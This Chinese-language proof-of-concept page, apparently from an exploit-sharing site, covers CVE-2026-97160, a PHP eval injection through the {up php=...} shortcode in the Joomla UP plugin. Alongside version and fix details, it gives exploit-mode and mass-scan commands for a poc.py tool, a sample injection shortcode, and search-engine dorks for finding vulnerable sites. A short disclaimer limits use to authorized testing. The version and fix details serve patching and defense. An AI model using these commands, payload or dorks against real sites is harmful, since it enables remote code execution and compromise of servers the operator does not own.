针对 CVE-2026-97160 的 Python 3 PoC —— Joomla 的 UP(Universal Plugin)(lomart.fr / up.lomart.fr)。
CVE-2026-97160 —— UP 插件 5.0.0–5.2.0 和 6.0.0–6.0.29 允许通过经 eval() 处理的 {up php=...} 短代码进行 PHP 代码注入(CWE-94)。CNA 将其归类为 已认证 / 高权限;在 6.1.0 / 5.2.1 之前,文章作者可以通过 保存与渲染时的名称规范化 绕过保留操作检查,因此文章中的 PHP 会对 每位访客 执行。CVSS 4.0 9.4 严重。修复: UP 6.1.0(Joomla 5.2+)或 5.2.1(Joomla 3.10–5.1)。
相关(同一版本发布):CVE-2026-97161(文件读取 / 路径遍历)、CVE-2026-97162(SQLi)、CVE-2026-97163(GitHub 迷你安装)。
PoC 页面: https://pocbit.org/pocs/cve-2026-97160
| 产品 | Joomla 的 UP 插件(plg_content_up) |
| 路径 | plugins/content/up/ |
| 受影响 | 5.0.0–5.2.0、6.0.0–6.0.29 |
| 已修复 | 5.2.1、6.1.0 |
| 向量 | 文章/模块短代码 {up php=...} |
| 分配者 | Joomla CNA |
pip install -r requirements.txt
python poc.py -u https://joomla.example --mode check
python poc.py -u https://joomla.example --mode check --article-url "https://joomla.example/index.php?option=com_content&view=article&id=42"
python poc.py -u https://joomla.example --mode exploit --article-url "https://joomla.example/your-article"
python poc.py --list targets.example.txt --mode check -j 10
实验环境: 以管理员身份(或在存在漏洞的版本上以作者身份),将以下内容添加到文章正文:
{up php=echo 'POCBIT-97160-OK';}
发布后,运行 --mode exploit --article-url <公开 URL>。
body="plugins/content/up"
body="{up php"
inurl:"option=com_content" "lomart"
CVE-2026-97160 PoC:Joomla UP(lomart.fr) ≤6.0.29 / ≤5.2.0 —— 特权 {up php=} 短代码 eval 代码注入(旧版本上作者可绕过)。PoCbit
CVE-2026-97160: Joomla UP 插件中通过 {up php=...} 在服务器上执行 PHP;已在 6.1.0 / 5.2.1 中修复。
仅限授权测试。请勿在您不拥有的网站上发布恶意短代码。